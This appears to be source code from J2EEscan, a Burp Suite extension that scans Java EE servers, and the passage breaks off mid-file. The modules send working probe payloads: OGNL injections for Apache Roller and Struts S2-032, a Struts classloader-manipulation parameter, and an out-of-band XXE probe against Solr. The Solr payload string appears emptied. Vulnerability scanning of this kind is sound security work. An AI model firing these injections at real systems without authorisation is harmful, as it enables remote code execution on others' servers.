| import burp.j2ee.Risk; 13 | import burp.j2ee.annotation.RunOnlyOnce; 14 | import burp.j2ee.issues.IModule; 15 | 16 | import java.io.DataInputStream; 17 | import java.io.DataOutputStream; 18 | import java.io.IOException; 19 | import java.io.PrintWriter; 20 | import java.net.InetSocketAddress; 21 | import java.net.MalformedURLException; 22 | import java.net.Socket; 23 | import java.net.URL; 24 | import java.util.ArrayList; 25 | import java.util.LinkedHashSet; 26 | import java.util.List; 27 | 28 | /** 29 | * This module detects Apache JServ Protocol (AJP) services 30 | */ 31 | public class AJPDetector implements IModule { 32 | 33 | private static final String TITLE = "Apache JServ Protocol (AJP) detected"; 34 | private static final String DESCRIPTION = "J2EEscan has identified a service using the Apache JServ Protocol (AJP), exposed via TCP port "; 35 | private static final String REMEDY = "This issue does not constitute a security issue by itself. However, a misconfigured" 36 | + " AJP proxy may allow unauthorized access to internal resources. Disable AJP, if not used."; 37 | 38 | // List of host and port system already tested 39 | private static LinkedHashSet hs = new LinkedHashSet(); 40 | private PrintWriter stderr; 41 | private static final int[] AJP13PORTS = {8080, 8102, 8081, 6800, 6802, 8009, 8109, 8209, 8309, 8888, 9999}; 42 | 43 | @RunOnlyOnce 44 | public List scan(IBurpExtenderCallbacks callbacks, IHttpRequestResponse baseRequestResponse, IScannerInsertionPoint insertionPoint) { 45 | 46 | List issues = new ArrayList<>(); 47 | 48 | IExtensionHelpers helpers = callbacks.getHelpers(); 49 | stderr = new PrintWriter(callbacks.getStderr(), true); 50 | IRequestInfo reqInfo = helpers.analyzeRequest(baseRequestResponse); 51 | 52 | URL url = reqInfo.getUrl(); 53 | String host = url.getHost(); 54 | 55 | for (int port : AJP13PORTS) { 56 | String system = host.concat(Integer.toString(port)); 57 | 58 | // System not yet tested for this vulnerability 59 | if (!hs.contains(system)) { 60 | 61 | hs.add(system); 62 | 63 | //Send a CPing using a raw TCP socket 64 | byte[] CPing = new byte[]{ 65 | (byte) 0x12, (byte) 0x34, (byte) 0x00, (byte) 0x01, (byte) 0x0a}; 66 | 67 | //Retrieve CPong 68 | byte[] CPong = null; 69 | try { 70 | CPong = sendData(host, port, CPing); 71 | } catch (IOException ex) { 72 | stderr.println("[!] AJPDetector Socket error: " + host + ":" + port); 73 | } 74 | 75 | if (CPong != null && getHex(CPong).equalsIgnoreCase("414200010900000000")) { 76 | try { 77 | //AJP detected 78 | issues.add(new CustomScanIssue( 79 | baseRequestResponse.getHttpService(), 80 | new URL(url.getProtocol(), url.getHost(), port, "AJP_TCP_" + port), 81 | new CustomHttpRequestResponse(CPing, CPong, baseRequestResponse.getHttpService()), 82 | TITLE, 83 | DESCRIPTION+"" + port + "", 84 | REMEDY, 85 | Risk.Information, 86 | Confidence.Certain 87 | )); 88 | } catch (MalformedURLException ex) { 89 | stderr.println("[!] MalformedURLException error...\n" + ex.getMessage()); 90 | } 91 | } 92 | } 93 | } 94 | return issues; 95 | } 96 | 97 | private static byte[] sendData(String ip, int port, byte[] data) throws IOException { 98 | 99 | byte[] reply = new byte[9]; 100 | 101 | Socket socket = new Socket(); 102 | socket.connect(new InetSocketAddress(ip, port), 2000); 103 | DataOutputStream os = new DataOutputStream(socket.getOutputStream()); 104 | DataInputStream is = new DataInputStream(socket.getInputStream()); 105 | os.write(data); 106 | os.flush(); 107 | is.read(reply); 108 | socket.close(); 109 | 110 | return reply; 111 | } 112 | 113 | private static String getHex(byte[] raw) { 114 | 115 | final String HEXES = "0123456789ABCDEF"; 116 | if (raw == null) { 117 | return null; 118 | } 119 | final StringBuilder hex = new StringBuilder(2 * raw.length); 120 | for (final byte b : raw) { 121 | hex.append(HEXES.charAt((b & 0xF0) >> 4)).append(HEXES.charAt((b & 0x0F))); 122 | } 123 | return hex.toString(); 124 | } 125 | } 126 | -------------------------------------------------------------------------------- /src/main/java/burp/j2ee/issues/impl/ApacheRollerOGNLInjection.java: -------------------------------------------------------------------------------- 1 | package burp.j2ee.issues.impl; 2 | 3 | import static burp.HTTPMatcher.getMatches; 4 | import burp.IBurpExtenderCallbacks; 5 | import burp.IExtensionHelpers; 6 | import burp.IHttpRequestResponse; 7 | import burp.IParameter; 8 | import burp.IRequestInfo; 9 | import burp.IScanIssue; 10 | import burp.IScannerInsertionPoint; 11 | import burp.j2ee.Confidence; 12 | import burp.j2ee.CustomScanIssue; 13 | import burp.j2ee.Risk; 14 | import burp.j2ee.annotation.RunOnlyOnce; 15 | import burp.j2ee.issues.IModule; 16 | 17 | import java.net.URL; 18 | import java.util.ArrayList; 19 | import java.util.List; 20 | import java.util.Random; 21 | 22 | /** 23 | * Apache Roller OGNL Injection 24 | * 25 | * References: 26 | * http://security.coverity.com/advisory/2013/Oct/remote-code-execution-in-apache-roller-via-ognl-injection.html 27 | * 28 | * 29 | */ 30 | public class ApacheRollerOGNLInjection implements IModule { 31 | 32 | private static final String TITLE = "Apache Roller OGNL Injection"; 33 | private static final String DESCRIPTION = "J2EEscan identified an OGNL " 34 | + "Injection vulnerability.
Apache Roller is a full-featured, multi-user " 35 | + "and group-blog server suitable for blog sites large and small. " 36 | + "It runs as a Java web application that should be able to run on most " 37 | + "any Java EE server and relational database.
" 38 | + "The remote Apache Roller version allows a remote attacker to execute commands on the remote" 39 | + " system via a OGNL (Object-Graph Navigation Language) expressions.

"; 40 | 41 | private static final String REMEDY = "Update the remote vulnerable library.

" 42 | + "References:

" 43 | + "http://security.coverity.com/advisory/2013/Oct/remote-code-execution-in-apache-roller-via-ognl-injection.html
" 44 | + "http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=2013-4212
" 45 | + "https://www.exploit-db.com/exploits/29859/

"; 46 | 47 | 48 | @RunOnlyOnce 49 | public List scan(IBurpExtenderCallbacks callbacks, IHttpRequestResponse baseRequestResponse, IScannerInsertionPoint insertionPoint) { 50 | 51 | 52 | // Execute a basic algorithm operation to detect OGNL code execution 53 | int MAX_RANDOM_INT = 500; 54 | Random rand = new Random(); 55 | int firstInt = rand.nextInt(MAX_RANDOM_INT); 56 | int secondInt = rand.nextInt(MAX_RANDOM_INT); 57 | String multiplication = Integer.toString(firstInt * secondInt); 58 | 59 | String EL_INJECTION_TEST = String.format("${%d*%d}", firstInt, secondInt); 60 | byte[] GREP_STRING = multiplication.getBytes(); 61 | 62 | IExtensionHelpers helpers = callbacks.getHelpers(); 63 | List issues = new ArrayList<>(); 64 | IRequestInfo reqInfo = callbacks.getHelpers().analyzeRequest(baseRequestResponse); 65 | URL curURL = reqInfo.getUrl(); 66 | 67 | 68 | // Specific test for Apache Roller OGNL RCE CVE-2013-4212. 69 | if (curURL.getPath().contains("login.rol")) { 70 | byte[] rawrequest = baseRequestResponse.getRequest(); 71 | List parameters = reqInfo.getParameters(); 72 | 73 | //Remove URI parameters 74 | for (IParameter param : parameters) { 75 | rawrequest = callbacks.getHelpers().removeParameter(rawrequest, param); 76 | } 77 | 78 | rawrequest = callbacks.getHelpers().addParameter(rawrequest, 79 | callbacks.getHelpers().buildParameter("pageTitle", EL_INJECTION_TEST, IParameter.PARAM_URL) 80 | ); 81 | 82 | // make a request containing our injection test in the insertion point 83 | IHttpRequestResponse checkRequestResponse = callbacks.makeHttpRequest( 84 | baseRequestResponse.getHttpService(), rawrequest); 85 | 86 | byte[] response = checkRequestResponse.getResponse(); 87 | List matches = getMatches(response, GREP_STRING, helpers); 88 | 89 | 90 | if (matches.size() > 0) { 91 | 92 | String rceDetails = String.format("

The following algorithm operation has been " 93 | + "executed on the remote system:

%d * %d = %s", firstInt, secondInt, multiplication); 94 | 95 | issues.add(new CustomScanIssue( 96 | baseRequestResponse.getHttpService(), 97 | reqInfo.getUrl(), 98 | checkRequestResponse, 99 | TITLE, 100 | DESCRIPTION + rceDetails, 101 | REMEDY, 102 | Risk.High, 103 | Confidence.Tentative 104 | )); 105 | } 106 | 107 | } 108 | 109 | return issues; 110 | 111 | } 112 | } 113 | -------------------------------------------------------------------------------- /src/main/java/burp/j2ee/issues/impl/ApacheSolrXXE.java: -------------------------------------------------------------------------------- 1 | package burp.j2ee.issues.impl; 2 | 3 | import burp.IBurpExtenderCallbacks; 4 | import burp.IExtensionHelpers; 5 | import burp.IHttpRequestResponse; 6 | import burp.IScanIssue; 7 | import burp.IScannerInsertionPoint; 8 | import burp.IBurpCollaboratorClientContext; 9 | import burp.IBurpCollaboratorInteraction; 10 | 11 | import burp.j2ee.Confidence; 12 | import burp.j2ee.CustomScanIssue; 13 | import burp.j2ee.Risk; 14 | import burp.j2ee.issues.IModule; 15 | 16 | import java.util.ArrayList; 17 | import java.util.List; 18 | 19 | /** 20 | * Several critical vulnerabilities discovered in Apache Solr (XXE & RCE) 21 | * 22 | * References: 23 | * - http://lucene.472066.n3.nabble.com/user/SendEmail.jtp?type=node&node=4358308&i=0 24 | * - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-12629 25 | * 26 | */ 27 | public class ApacheSolrXXE implements IModule { 28 | 29 | private static final String TITLE = "Apache Solr XXE - RCE"; 30 | private static final String DESCRIPTION = "J2EEscan detect a XML External Entities Injection vulnerability.
" 31 | + "The XML parsing library supports the use of custom entity references " 32 | + "in the XML document; custom entities " 33 | + "can be defined by including a user defined
DOCTYPE
that " 34 | + "reference an external resource to be included.
" 35 | + "This option could be abused to carry on XXE attacks, leading " 36 | + "to DoS conditions, " 37 | + "local file include, internal LAN scanning and SSRF attacks. " 38 | + "

" 39 | + "References:

" 40 | + "http://lucene.472066.n3.nabble.com/user/SendEmail.jtp?type=node&node=4358308&i=0
" 41 | + "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-12629
" 42 | + "https://www.exploit-db.com/exploits/43009/"; 43 | 44 | private static final String REMEDY = "It's reccomended to apply the security patch provided by the mantainer:
" 45 | + "https://issues.apache.org/jira/browse/SOLR-11482
" 46 | + "https://issues.apache.org/jira/browse/SOLR-11477
" 47 | + "https://wiki.apache.org/solr/SolrSecurity"; 48 | 49 | public List scan(IBurpExtenderCallbacks callbacks, IHttpRequestResponse baseRequestResponse, IScannerInsertionPoint insertionPoint) { 50 | 51 | IExtensionHelpers helpers = callbacks.getHelpers(); 52 | List issues = new ArrayList<>(); 53 | 54 | String xxesolr = "{!xmlparser v=''}"; 55 | 56 | // Collaborator context 57 | IBurpCollaboratorClientContext collaboratorContext = callbacks.createBurpCollaboratorClientContext(); 58 | String currentCollaboratorPayload = collaboratorContext.generatePayload(true); 59 | 60 | String xxePayload = String.format(xxesolr, currentCollaboratorPayload); 61 | 62 | byte[] checkRequest = insertionPoint.buildRequest(xxePayload.getBytes()); 63 | 64 | IHttpRequestResponse checkRequestResponse = callbacks.makeHttpRequest( 65 | baseRequestResponse.getHttpService(), checkRequest); 66 | 67 | // Poll Burp Collaborator for remote interaction 68 | List collaboratorInteractions = collaboratorContext.fetchCollaboratorInteractionsFor(currentCollaboratorPayload); 69 | 70 | if (!collaboratorInteractions.isEmpty()) { 71 | issues.add(new CustomScanIssue( 72 | baseRequestResponse.getHttpService(), 73 | helpers.analyzeRequest(baseRequestResponse).getUrl(), 74 | checkRequestResponse, 75 | TITLE, 76 | DESCRIPTION, 77 | REMEDY, 78 | Risk.High, 79 | Confidence.Certain)); 80 | 81 | return issues; 82 | } 83 | 84 | return issues; 85 | } 86 | } 87 | -------------------------------------------------------------------------------- /src/main/java/burp/j2ee/issues/impl/ApacheStrutsS2017.java: -------------------------------------------------------------------------------- 1 | package burp.j2ee.issues.impl; 2 | 3 | import static burp.HTTPMatcher.isJavaApplicationByURL; 4 | import burp.IBurpExtenderCallbacks; 5 | import burp.IExtensionHelpers; 6 | import burp.IHttpRequestResponse; 7 | import burp.IParameter; 8 | import burp.IRequestInfo; 9 | import burp.IResponseInfo; 10 | import burp.IScanIssue; 11 | import burp.IScannerInsertionPoint; 12 | import burp.j2ee.Confidence; 13 | import burp.j2ee.CustomScanIssue; 14 | import burp.j2ee.Risk; 15 | import burp.j2ee.issues.IModule; 16 | 17 | import java.io.PrintWriter; 18 | import java.io.UnsupportedEncodingException; 19 | import java.net.URL; 20 | import java.util.ArrayList; 21 | import java.util.List; 22 | 23 | public class ApacheStrutsS2017 implements IModule { 24 | 25 | private static final String TITLE = "Apache Struts S2-017 Injection - Arbitrary Redirect"; 26 | private static final String DESCRIPTION = "J2EEscan identified an Arbitrary Redirect vulnerability;" 27 | + "the Struts 2 DefaultActionMapper supports a " 28 | + "method for short-circuit navigation state changes by prefixing " 29 | + "parameters with action: or redirect:, " 30 | + "followed by a desired navigational target expression. " 31 | + "This mechanism was intended to help with attaching navigational " 32 | + "information to buttons within forms.

" 33 | + "In Struts 2 before 2.3.15.1 the information following action:, redirect: " 34 | + "or redirectAction: is not properly sanitized. " 35 | + "

Since said information will be evaluated as OGNL expression" 36 | + " against the value stack, this introduces the possibility to inject " 37 | + "server side code.

" 38 | + "References:

" 39 | + "http://struts.apache.org/release/2.3.x/docs/s2-017.html
" 40 | + "http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2013-2248"; 41 | private static final String REMEDY = "Update the remote Struts vulnerable library"; 42 | 43 | private PrintWriter stderr; 44 | 45 | public List scan(IBurpExtenderCallbacks callbacks, IHttpRequestResponse baseRequestResponse, IScannerInsertionPoint insertionPoint) { 46 | 47 | IExtensionHelpers helpers = callbacks.getHelpers(); 48 | stderr = new PrintWriter(callbacks.getStderr(), true); 49 | 50 | IRequestInfo reqInfo = callbacks.getHelpers().analyzeRequest(baseRequestResponse); 51 | URL curURL = reqInfo.getUrl(); 52 | 53 | byte[] modifiedRawRequest = null; 54 | List issues = new ArrayList<>(); 55 | 56 | if (!isJavaApplicationByURL(curURL)) { 57 | return issues; 58 | } 59 | 60 | List redirectMeth = new ArrayList(); 61 | redirectMeth.add("redirect:"); 62 | redirectMeth.add("redirectAction:"); 63 | 64 | for (String redir : redirectMeth) { 65 | 66 | try { 67 | byte[] rawrequest = baseRequestResponse.getRequest(); 68 | List parameters = reqInfo.getParameters(); 69 | 70 | //Remove URI parameters 71 | for (IParameter param : parameters) { 72 | rawrequest = callbacks.getHelpers().removeParameter(rawrequest, param); 73 | } 74 | 75 | rawrequest = callbacks.getHelpers().addParameter(rawrequest, 76 | callbacks.getHelpers().buildParameter(redir, "http://www.example.com/%23", IParameter.PARAM_URL) 77 | ); 78 | 79 | //TODO Fix me hack 80 | String utf8rawRequest = new String(rawrequest, "UTF-8"); 81 | modifiedRawRequest = utf8rawRequest.replaceFirst("=", "").getBytes(); 82 | 83 | // make a request containing our injection test in the insertion point 84 | IHttpRequestResponse checkRequestResponse = callbacks.makeHttpRequest( 85 | baseRequestResponse.getHttpService(), modifiedRawRequest); 86 | 87 | IResponseInfo modifiedResponseInfo = callbacks.getHelpers().analyzeResponse(checkRequestResponse.getResponse()); 88 | 89 | int statusCode = modifiedResponseInfo.getStatusCode(); 90 | 91 | if (statusCode >= 300 && statusCode < 400) { 92 | for (String header : modifiedResponseInfo.getHeaders()) { 93 | if (header.toLowerCase().startsWith("location")) { 94 | 95 | } 96 | if (header.substring(header.indexOf(":") + 1).trim().startsWith("http://www.example.com/")) { 97 | 98 | issues.add(new CustomScanIssue( 99 | baseRequestResponse.getHttpService(), 100 | reqInfo.getUrl(), 101 | checkRequestResponse, 102 | TITLE, 103 | DESCRIPTION, 104 | REMEDY, 105 | Risk.High, 106 | Confidence.Certain)); 107 | } 108 | 109 | } 110 | } 111 | } catch (UnsupportedEncodingException ex) { 112 | stderr.println(ex); 113 | } 114 | } 115 | 116 | return issues; 117 | } 118 | } 119 | -------------------------------------------------------------------------------- /src/main/java/burp/j2ee/issues/impl/ApacheStrutsS2020.java: -------------------------------------------------------------------------------- 1 | package burp.j2ee.issues.impl; 2 | 3 | import static burp.HTTPMatcher.isJavaApplicationByURL; 4 | import burp.IBurpExtenderCallbacks; 5 | import burp.IExtensionHelpers; 6 | import burp.IHttpRequestResponse; 7 | import burp.IParameter; 8 | import burp.IRequestInfo; 9 | import burp.IScanIssue; 10 | import burp.IScannerInsertionPoint; 11 | import burp.j2ee.Confidence; 12 | import burp.j2ee.CustomScanIssue; 13 | import burp.j2ee.Risk; 14 | import burp.j2ee.issues.IModule; 15 | 16 | import java.net.URL; 17 | import java.util.ArrayList; 18 | import java.util.List; 19 | import java.util.regex.Matcher; 20 | import java.util.regex.Pattern; 21 | 22 | public class ApacheStrutsS2020 implements IModule { 23 | 24 | private static final String TITLE = "Apache Struts S2-020 ClassLoader Manipulation"; 25 | private static final String DESCRIPTION = "J2EEscan identified a ClassLoader Manipulation;" 26 | + "Apache Struts 2 ParametersInterceptor allows " 27 | + "access to 'class' parameter which is directly mapped to getClass()" 28 | + " method and allows ClassLoader manipulation.
" 29 | + "A remote user could be able to manipulate the servlet container's classloader to execute" 30 | + "arbitrary commands on the remote system.

" 31 | + "References:

" 32 | + "http://struts.apache.org/release/2.3.x/docs/s2-020.html
" 33 | + "http://struts.apache.org/release/2.3.x/docs/s2-021.html
" 34 | + "http://struts.apache.org/release/2.3.x/docs/version-notes-23161.html
" 35 | + "http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-0094
" 36 | + "http://drops.wooyun.org/papers/1377
" 37 | + "http://sec.baidu.com/index.php?research/detail/id/18
" 38 | + "http://www.pwntester.com/blog/2014/04/24/struts2-0day-in-the-wild/
"; 39 | private static final String REMEDY = "Update the remote Struts vulnerable library"; 40 | 41 | // Check for specific patterns on response page 42 | private static final Pattern CLASSLOADER_PM = Pattern.compile("Invalid field value for field|No result defined for action", 43 | Pattern.DOTALL | Pattern.MULTILINE); 44 | 45 | public List scan(IBurpExtenderCallbacks callbacks, IHttpRequestResponse baseRequestResponse, IScannerInsertionPoint insertionPoint) { 46 | 47 | IExtensionHelpers helpers = callbacks.getHelpers(); 48 | 49 | IRequestInfo reqInfo = callbacks.getHelpers().analyzeRequest(baseRequestResponse); 50 | List parameters = reqInfo.getParameters(); 51 | 52 | URL curURL = reqInfo.getUrl(); 53 | 54 | byte[] modifiedRawRequest = null; 55 | List issues = new ArrayList<>(); 56 | 57 | if (!isJavaApplicationByURL(curURL)) { 58 | return issues; 59 | } 60 | 61 | byte[] rawrequest = baseRequestResponse.getRequest(); 62 | //Remove URI parameters 63 | for (IParameter param : parameters) { 64 | rawrequest = callbacks.getHelpers().removeParameter(rawrequest, param); 65 | } 66 | 67 | // Dynamic random string for URL classloader 68 | long unixTime = System.currentTimeMillis() / 1000L; 69 | String classLoaderStringTest = "testClassloaderManipulation" + unixTime; 70 | 71 | /** 72 | * Make a request containing our injection test in the insertion point 73 | * 74 | * Original fix for this vulnerability was to to forbid the 75 | * (.*\.|^)class\..* regex 76 | * https://github.com/apache/struts/commit/aaf5a3010e3c11ae14e3d3c966a53ebab67146be 77 | * 78 | * It was possible to bypass this "protection" using "Class.classloader" 79 | * (capital 'C'). 80 | * 81 | * This payload covers also Apache Struts S2-021 advisory, caused by a 82 | * wrong patch attempt. 83 | */ 84 | modifiedRawRequest = callbacks.getHelpers().addParameter(rawrequest, 85 | callbacks.getHelpers().buildParameter("Class.classLoader.URLs[0]", 86 | classLoaderStringTest, IParameter.PARAM_URL) 87 | ); 88 | 89 | IHttpRequestResponse checkRequestResponse = callbacks.makeHttpRequest( 90 | baseRequestResponse.getHttpService(), modifiedRawRequest); 91 | 92 | // Get the response body 93 | byte[] responseBytes = checkRequestResponse.getResponse(); 94 | String response = helpers.bytesToString(responseBytes); 95 | 96 | Matcher matcher = CLASSLOADER_PM.matcher(response); 97 | 98 | if (matcher.find()) { 99 | issues.add(new CustomScanIssue( 100 | baseRequestResponse.getHttpService(), 101 | reqInfo.getUrl(), 102 | checkRequestResponse, 103 | TITLE, 104 | DESCRIPTION, 105 | REMEDY, 106 | Risk.High, 107 | Confidence.Certain 108 | )); 109 | } 110 | 111 | return issues; 112 | } 113 | } 114 | -------------------------------------------------------------------------------- /src/main/java/burp/j2ee/issues/impl/ApacheStrutsS2032.java: -------------------------------------------------------------------------------- 1 | package burp.j2ee.issues.impl; 2 | 3 | import static burp.HTTPMatcher.isJavaApplicationByURL; 4 | import burp.IBurpExtenderCallbacks; 5 | import burp.IExtensionHelpers; 6 | import burp.IHttpRequestResponse; 7 | import burp.IParameter; 8 | import burp.IRequestInfo; 9 | import burp.IScanIssue; 10 | import burp.IScannerInsertionPoint; 11 | import burp.j2ee.Confidence; 12 | import burp.j2ee.CustomScanIssue; 13 | import burp.j2ee.Risk; 14 | import burp.j2ee.issues.IModule; 15 | import java.io.PrintWriter; 16 | import java.io.UnsupportedEncodingException; 17 | import java.net.URL; 18 | import java.util.ArrayList; 19 | import java.util.List; 20 | import java.util.regex.Matcher; 21 | import java.util.regex.Pattern; 22 | 23 | /** 24 | * Apache Struts S2-032 Remote Command Execution 25 | * 26 | * https://struts.apache.org/docs/s2-032.html 27 | * 28 | */ 29 | public class ApacheStrutsS2032 implements IModule { 30 | 31 | private static final String TITLE = "Apache Struts S2-032 Remote Command Execution"; 32 | private static final String DESCRIPTION = "J2EEscan identified a Remote Code Execution " 33 | + "via method: prefix because Dynamic Method Invocation is enabled." 34 | + "A remote user could be able to manipulate the servlet container's classloader to execute" 35 | + "arbitrary commands on the remote system.

" 36 | + "References:

" 37 | + "https://struts.apache.org/docs/s2-032.html
" 38 | + "http://seclab.dbappsecurity.com.cn/?p=924
" 39 | + "http://d.hatena.ne.jp/Kango/20160427/1461771099
" 40 | + "http://pan.baidu.com/s/1skTs9Md
" 41 | + "MSF: metasploit-framework/modules/exploits/linux/http/struts_dmi_exec.rb"; 42 | private static final String REMEDY = "Update the remote Struts vulnerable library"; 43 | 44 | // Check for specific patterns on response page 45 | private static final Pattern DYNAMIC_METHOD_INVOCATION = Pattern.compile("HOOK_VAL838", 46 | Pattern.DOTALL | Pattern.MULTILINE); 47 | 48 | private PrintWriter stderr; 49 | 50 | public List scan(IBurpExtenderCallbacks callbacks, IHttpRequestResponse baseRequestResponse, IScannerInsertionPoint insertionPoint) { 51 | 52 | IExtensionHelpers helpers = callbacks.getHelpers(); 53 | stderr = new PrintWriter(callbacks.getStderr(), true); 54 | 55 | IRequestInfo reqInfo = callbacks.getHelpers().analyzeRequest(baseRequestResponse); 56 | List parameters = reqInfo.getParameters(); 57 | 58 | URL curURL = reqInfo.getUrl(); 59 | 60 | byte[] modifiedRawRequest = null; 61 | List issues = new ArrayList<>(); 62 | 63 | if (!isJavaApplicationByURL(curURL)) { 64 | return issues; 65 | } 66 | 67 | byte[] rawrequest = baseRequestResponse.getRequest(); 68 | //Remove URI parameters 69 | for (IParameter param : parameters) { 70 | rawrequest = callbacks.getHelpers().removeParameter(rawrequest, param); 71 | } 72 | 73 | rawrequest = callbacks.getHelpers().addParameter(rawrequest, 74 | callbacks.getHelpers().buildParameter("method:", "%23_memberAccess%3d%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS,%23kzxs%3d%40org.apache.struts2.ServletActionContext%40getResponse().getWriter()%2c%23kzxs.print(%23parameters.hook[0])%2c%23kzxs.print(new%20java.lang.Integer(829%2b9))%2c%23kzxs.close(),1%3f%23xx%3a%23request.toString", IParameter.PARAM_URL) 75 | ); 76 | 77 | String utf8rawRequest; 78 | try { 79 | 80 | //TODO Fix me hack 81 | utf8rawRequest = new String(rawrequest, "UTF-8"); 82 | modifiedRawRequest = utf8rawRequest.replaceFirst("=", "").getBytes(); 83 | 84 | modifiedRawRequest = callbacks.getHelpers().addParameter(modifiedRawRequest, 85 | callbacks.getHelpers().buildParameter("hook", "HOOK_VAL", IParameter.PARAM_URL) 86 | ); 87 | 88 | IHttpRequestResponse checkRequestResponse = callbacks.makeHttpRequest( 89 | baseRequestResponse.getHttpService(), modifiedRawRequest); 90 | 91 | // Get the response body 92 | byte[] responseBytes = checkRequestResponse.getResponse(); 93 | String response = helpers.bytesToString(responseBytes); 94 | 95 | Matcher matcher = DYNAMIC_METHOD_INVOCATION.matcher(response); 96 | 97 | if (matcher.find()) { 98 | issues.add(new CustomScanIssue( 99 | baseRequestResponse.getHttpService(), 100 | reqInfo.getUrl(), 101 | checkRequestResponse, 102 | TITLE, 103 | DESCRIPTION, 104 | REMEDY, 105 | Risk.High, 106 | Confidence.Certain 107 | )); 108 | } 109 | 110 | } catch (UnsupportedEncodingException ex) { 111 | stderr.println(ex); 112 | } 113 | 114 | return issues; 115 | } 116 | } 117 | -------------------------------------------------------------------------------- /src/main/java/burp/j2ee/issues/impl/ApacheStrutsShowcase.java: -------------------------------------------------------------------------------- 1 | package burp.j2ee.issues.impl; 2 | 3 | import static burp.HTTPMatcher.URIMutator; 4 | import static burp.HTTPMatcher.getApplicationContext; 5 | import static burp.HTTPMatcher.getMatches; 6 | import burp.IBurpExtenderCallbacks; 7 | import burp.IExtensionHelpers; 8 | import burp.IHttpRequestResponse; 9 | import burp.IRequestInfo; 10 | import burp.IResponseInfo; 11 | import burp.IScanIssue; 12 | import burp.IScannerInsertionPoint; 13 | import burp.j2ee.Confidence; 14 | import burp.j2ee.CustomScanIssue; 15 | import burp.j2ee.Risk; 16 | import burp.j2ee.issues.IModule; 17 | import java.io.PrintWriter; 18 | import java.net.MalformedURLException; 19 | import java.net.URL; 20 | import java.util.ArrayList; 21 | import java.util.Arrays; 22 | import java.util.LinkedHashSet; 23 | import java.util.List; 24 | 25 | public class ApacheStrutsShowcase implements IModule { 26 | 27 | private static final String TITLE = "Apache Struts - ShowCase Application"; 28 | private static final String DESCRIPTION = "J2EEscan identified the Apache Struts ShowCase application.
" 29 | + "Based on the installed version, the application could be vulnerable to different kind of issues" 30 | + " such as XSS, RCE via OGNL injection, etc.

" 31 | + "References:
" 32 | + "https://bugzilla.redhat.com/show_bug.cgi?id=967655
" 33 | + "http://struts.apache.org/docs/s2-012.html"; 34 | 35 | private static final String REMEDY = "Remove all unused applications from production environment"; 36 | 37 | private static final byte[] GREP_STRING = "Struts2 Showcase".getBytes(); 38 | private static final List STRUTS_SHOWCASE_PATHS = Arrays.asList( 39 | "/struts2-showcase/showcase.action" 40 | ); 41 | 42 | // List of host and port system already tested 43 | private static LinkedHashSet hs = new LinkedHashSet(); 44 | 45 | private PrintWriter stderr; 46 | 47 | @Override 48 | public List scan(IBurpExtenderCallbacks callbacks, IHttpRequestResponse baseRequestResponse, IScannerInsertionPoint insertionPoint) { 49 | 50 | IExtensionHelpers helpers = callbacks.getHelpers(); 51 | stderr = new PrintWriter(callbacks.getStderr(), true); 52 | 53 | List issues = new ArrayList<>(); 54 | 55 | IRequestInfo reqInfo = callbacks.getHelpers().analyzeRequest(baseRequestResponse); 56 | 57 | URL url = reqInfo.getUrl(); 58 | String host = url.getHost(); 59 | int port = url.getPort(); 60 | String protocol = url.getProtocol(); 61 | 62 | String system = host.concat(Integer.toString(port)); 63 | 64 | // System not yet tested for this vulnerability 65 | if (!hs.contains(system)) { 66 | 67 | hs.add(system); 68 | 69 | for (String SHOWCASE_PATH : STRUTS_SHOWCASE_PATHS) { 70 | 71 | try { 72 | URL urlToTest = new URL(protocol, url.getHost(), url.getPort(), SHOWCASE_PATH); 73 | byte[] showcaseRequest = helpers.buildHttpRequest(urlToTest); 74 | 75 | // make a request containing our injection test in the insertion point 76 | IHttpRequestResponse checkRequestResponse = callbacks.makeHttpRequest(baseRequestResponse.getHttpService(), showcaseRequest); 77 | 78 | byte[] response = checkRequestResponse.getResponse(); 79 | IResponseInfo responseInfo = helpers.analyzeResponse(response); 80 | 81 | if (responseInfo.getStatusCode() == 200) { 82 | // look for matches of our active check grep string 83 | List matches = getMatches(response, GREP_STRING, helpers); 84 | 85 | if (matches.size() > 0) { 86 | 87 | issues.add(new CustomScanIssue( 88 | baseRequestResponse.getHttpService(), 89 | reqInfo.getUrl(), 90 | checkRequestResponse, 91 | TITLE, 92 | DESCRIPTION, 93 | REMEDY, 94 | Risk.Low, 95 | Confidence.Certain 96 | )); 97 | } 98 | } 99 | } catch (MalformedURLException ex) { 100 | stderr.println("Error creating URL " + ex.getMessage()); 101 | } 102 | } 103 | } 104 | 105 | return issues; 106 | } 107 | } 108 | -------------------------------------------------------------------------------- /src/main/java/burp/j2ee/issues/impl/ApacheWicketArbitraryResourceAccess.java: -------------------------------------------------------------------------------- 1 | package burp.j2ee.issues.impl; 2 | 3 | import static burp.HTTPMatcher.getMatches; 4 | import burp.IBurpExtenderCallbacks; 5 | import burp.IExtensionHelpers; 6 | import burp.IHttpRequestResponse; 7 | import burp.IRequestInfo; 8 | import burp.IScanIssue; 9 | import burp.IScannerInsertionPoint; 10 | import burp.j2ee.Confidence; 11 | import burp.j2ee.CustomScanIssue; 12 | import burp.j2ee.Risk; 13 | import burp.j2ee.issues.IModule; 14 | import java.io.PrintWriter; 15 | import java.net.URL; 16 | import java.util.ArrayList; 17 | import java.util.Arrays; 18 | 19 | import java.util.List; 20 | 21 | public class ApacheWicketArbitraryResourceAccess implements IModule { 22 | 23 | private static final String TITLE = "Apache Wicket - Arbitrary Resource Access"; 24 | private static final String DESCRIPTION = "J2EEScan identified a vulnerable Apache Wicket library; " 25 | + "it's possible to access remotely to arbitrary resources in" 26 | + " the classpath of the wicket application using the int scope

" 27 | + "References:
" 28 | + "https://issues.apache.org/jira/browse/WICKET-4427
